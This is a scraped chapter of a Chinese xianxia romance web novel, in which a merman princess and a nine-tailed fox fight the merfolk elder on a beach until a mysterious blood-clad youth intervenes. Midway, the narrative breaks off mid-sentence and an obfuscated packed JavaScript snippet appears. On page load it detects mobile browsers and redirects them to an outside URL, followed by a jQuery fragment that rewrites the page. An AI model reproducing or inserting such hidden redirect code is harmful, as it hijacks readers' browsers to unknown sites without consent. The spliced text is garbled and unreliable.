默认冷灰
24号文字
方正启体

38.绝境(八)

作者:拾花照海本书字数:K更新时间:
    晌午的阳光洒在海滩上,踩在沙子上仍能感受到一模暖意。风声静谧,却不焦躁,本来是一副秋日好精致,可因海滩上黑压压的鲛人,气氛显得格外焦灼。


    “你答应过我什么?”鲛人长老自护卫中向前一步,望向被包裹阵的一男一女,“我当年不杀他,你就是这样回报我的?”


    辛尧将岑鱼揽到身后,妖身显露,乌黑亮丽的发丝上立着一双金黄狐狸耳,九条尾巴在空中狂乱舞动。


    熟悉的场景片段在脑海里缓缓浮现,似乎在很久很久之前,他就是在这里与所爱之人分离。


    岑鱼紧紧握住他的衣摆,因恐惧的指尖微微颤抖。


    过去,她就是在这里与辛尧分开的。命运如同一个回溯,此情此景,让她遥想起当年。


    “不怕。”辛尧温柔地牵住她的手,他的面容因显出妖身而可怖,然而对她说的话却依然温柔如清风。


    她稳了稳心神,笑着回应道:“嗯,我不怕。”


    有什么好怕的,大不了就是一死。


    两方谁都没有上前一步,长老阴森的声音钻入了两人的耳中:“你恢复记忆了?”


    “无需恢复记忆。”辛尧回应,“我这具躯体的本能告诉我,这就是我要保护的人。”


    一时四周静谧无声,海浪声声,掀起三尺高的浪花,将所有的声音都吞没了去。


    物转星移,几个春秋过去,太多的人与景色都改变了,但对她的感情无论多久始终依旧,那时被遗忘的记忆再度翻尘出来。


    她被拦在守卫之外,望向倒在海滩之上,一身血污的男人。


    他那么喜欢干净,儒雅翩翩从不沾染半分尘土,可如今却狼狈地匍匐在地上,那曾经被她捏在手里反复抚摸的九条毛茸茸的尾巴被脏臭的海水打湿了,无力的耷拉在身侧,黯淡无光。


    “我跟你们回去,不要杀他!”她苦苦哀求着。


    “不可以!”九尾狐红着眼睛,一双拳头被他捏起,挣扎着爬起来,可他刚刚撑起身子,身旁的鲛人又给予他重重一击,他再次摔倒在地。


    昔日令人闻风丧胆的大妖九尾狐灵力半点不剩,被一只鲛人小喽啰肆意踩在地上凌辱。


    “跟他们回去,再与别的男人生育后代?不,我不允许,你说过你只要我。”他哀哀的望过来一眼,眸中带着视死如归的坚定,手中发力,再次想要挣扎着站起来走到她身边。


    鲛人长老灰白的眼睛里尽是冷漠,仿佛再看一个最寻常不过的场景:“你明明知道我们鲛人一族的规矩,公主从来不会只有一个男人,你绝不是唯一,你这又是何必?”


    九尾道:“你不会懂。”


    “我不懂,但我知道不能让你再这样纠缠下去。”说罢他便给周遭的守卫使了一个眼色,刀剑逼近了他。


    “不要!”被拦在鲛人族群之外的岑鱼望着这一幕,手心幻化出一株珊瑚,如刀般锋利的珊瑚刃逼近了自己的脖颈。


    一向温柔的声音发起狠来,绝望又决绝,“你要是杀了他,我今日便与他死在这里。鲛人一族未来的死活,我不在乎!”


    “你威胁我?”


    岑鱼的珊瑚刃又逼近了些许,眼眸空洞到没有一丝神采,“你我各退一步,我跟你回去,留他一命,清除他的记忆,这样,他不会再来找我。”


    长老看了许久似是认同,吩咐下去,刀剑收起,舒缓的歌谣齐齐吟唱出声,响彻在海滩之上。


    辛尧的手指慢慢的攥紧了,死死的抵御歌声的侵扰,可他已没有丝毫灵力,惑人心声的音符顺着每一道伤口钻入他的四肢百骸,将一切关于岑鱼的记忆翻涌成浪,他随着海浪起起伏伏,直至坠入温暖的海水之中。


    紧握的手指渐渐放松,他慢慢闭上眼睛陷入沉睡。


    歌声渐止,世界恢复一片寂静,海滩上已经没有人了。惨白的阳光自白云后显露出来,打在被遗忘在海边全身伤痕的九尾狐身上。


    回忆渐止,辛尧妖力外泄到无法抑制。


    “阿鱼,你听好。”妖力外泄之时,温馨的午后也刹那间一片灰黑,阳光仿佛被天狗蚕食般一般,徒留下辨不清视野的黑。此刻,那些呼吸、刀剑的声音变得无比清晰,近在耳畔。


    辛尧双眸自这片灰黑中闪着红光,甚至比上次迎战之时还要亮。


    “如果鲛人族群不改变自己的生存形式,继续沿用那一套迂腐的教条,这样的族群,不该就此延续。不如这个族群彻底毁灭,不复存在。”


    “如果我要与他们同归于尽,你会陪我吗?”他低下头,温柔地问道。


    岑鱼握了握他的手,轻声回道:“我与你,死生与共。”


    几条手臂粗的铁链般从四面八方向辛尧缠绕过来,以寻常人难以想象的速度攀上他的四肢及腰际。


    他避之不及,那绳子一寸寸收紧,他再度感受到窒息般的痛苦,身子被绳子蛮横地往海水里拖拽。


    鲛人不知从何处得来的捆妖绳材料制成这样的锁链,在两人上次企图离开烈海永世不回的时候,便是由它出手制住了大妖九尾。这种东西,再厉害的妖都无法与之抗衡。


    然而今天,辛尧并不打算重蹈覆辙。与其被捆妖绳束缚生生耗尽灵气受尽屈辱,他宁愿释放全部的妖力殊死一搏。


    身侧响起了岑鱼的歌声,似治愈的良药抚平了他一身的伤痛,他蓦然想起在被遗忘的曾经,在那些孤独抚琴的夜晚,正是有这抹歌声相和,奏出他们对于未来最美好的期许。


    海滩上的沙石飞卷而起,扰乱了在场所有人的眼睛,辛尧原本金色的狐狸毛在黑暗中也黯淡无光,九条尾巴随着风沙的律动在空中摇摆。


    他想起了与她的很多过往。


    “我想像你一样有个名字。”她将一颗海螺放在他的手心,“你说得对,我要为自己而活,不是鲛人公主这一个代号,只是因为我是这个世界独立的生灵,我存在过,我就是我。”


    “岑鱼……谢谢你给我的名字,以后我便叫岑鱼了。”


    我可翻越加诸在身上的重重山峦,绝不囿于一方小小的天地,度过索然无味的一生。


    我为鲛人族类的一份子,但我的一生不能只因他们而存在。


    他以风沙为刃,将所见的活物割开一道又一道血口,鲛人守卫在沙中痛苦的哀嚎,他得以走到她的身侧,用绑着捆妖绳的手臂牢牢的抱紧了她。


    “对不起,我忘记过你。”


    当死亡快要到来的那一刻,岑鱼并不觉得害怕,相反,血脉里弥漫着快要解脱的自由。


    她知道,一味的忍让退缩只会换来对方变本加厉的欺辱,但她并不想屈从这样的命运,怀着破坏一切腐朽的勇气,只为打破加诸在她身上的桎梏。


    直至不死不休。


    忽然,她视线的余光里瞥见,纯黑色的天地里,一条持剑的红色身影向这边欺近……


    他身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14871525|150747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上的衣服应该是干干净净的雪色,可那雪却仿佛被鲜血浸透过一样,成了一件鲜红的血衣。


    长至及腰的乌黑发丝并未束起,而是散落下来随着风沙狂乱地飞舞在脸颊之上,少年青涩的脸上带着酷寒的冷意,眼底幽蓝色的光束随着发丝的舞动在暗夜里若隐若现,如同一抹鬼火于天幕里长明不熄。


    “喂。”他终于开口,端着平稳不带有一丝感情的语调,似乎身体里有其他的灵魂与他齐声呼和,青涩与苍老两种本毫不相干的声音交缠在一起,一出口仿佛五脏六腑都被他狠狠捏在手心搅成碎片。


    “你们挡路了。”


    他仅用一剑,劈开沉重窒息的黑暗,似乎将这黑罩子撕开一个口子,柔和的光一拥而上吞噬黑暗,漫天的风沙止住,风平浪静,仿佛刚刚的一切都不存在。


    破损的血色衣物挂在他身上,凭空描摹着他瘦削的身材,可他站在那里,却凭空给人一股迫人的威压,无人敢动一步,对上他空茫的视线,让人不自觉的想要跪在他的脚底臣服。


    “哦,有只罕见的大妖九尾狐呢。”他的语气听起来格外愉悦,嘴角的弧度微微扬起,拖着长剑一步一步来到辛尧面前,手中剑锋抬起他的下巴,眼中蓝光更盛了几分,“把你的妖丹,交给我。”


    冰冷,诡异,可怖,残忍,他像一块捂不化的寒冰,没有一丝丝属于人类的情感与恻隐。


    辛尧怔了怔,脑中一片空白,下意识服从他的话,手指慢慢靠近自己的心口。


    “等等,阿尧你……”岑鱼伸手想要阻拦,那人似乎觉得被打扰格外不耐,低声重复一句:“给我!”


    “这是……鲛人泪……”她看清了他眼底的是什么,刚要说话,远处几个人影被踢到海岸边上,江遗沉着一张脸怒气冲冲地问:“我问你,你将冉云祉给我带到哪里去了!”


    先前嚣张不可一世的鲛人抱头屁滚尿流,连声告饶,“我……我真的不知道……”


    江遗气得又踹了他几脚,正好看到面前的几个人影,他擦了擦眼睛,认出这浑身是伤的男人是谁后,惊讶的张大了下巴:“你……你是烛乐?”


    原本混乱的神智突然恢复清明,烛乐眼底的诡异蓝光渐渐消散,他茫然的海滩上的一切,似乎不明白刚才发生了什么。


    辛尧也从刚才的状态中缓解过来,他捂住心口,口中一片腥甜,喷出一口鲜血。


    “阿祉……”烛乐抬头看向江遗,先前空白的表情隐隐透出焦急,“她怎么了?”


    “你问我,我哪里知道?”江遗厌恶地抱起双臂冷嘲热讽,“你不是满心满眼都是鲛人泪,根本不管她的死活吗?现在摆出这副虚伪的模样给谁看?”


    烛乐的眉头微蹙,想说什么,终归没有说出口。


    他再度看了这里的人一眼,静静地思考了一会,转身就走。


    江遗一愣,没想到他就这么走了,上前扯住他,触碰到他身体的寒凉,微微缩了一下,只当他从外面回来失血太多。


    “你这人怎么回事,说几句就听不得,也太小心眼了吧?你又要往哪里去?”


    烛乐根本听不懂他在说些什么,甩开他的手道,言简意赅:“我去找她。”


    “你现在这样,去哪找?怎么找?”


    一身鲜血,一身伤口,面色如纸。


    “赶紧回去处理一下。”


    烛乐却不听劝,避开他伸过来的手:“不用你管。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)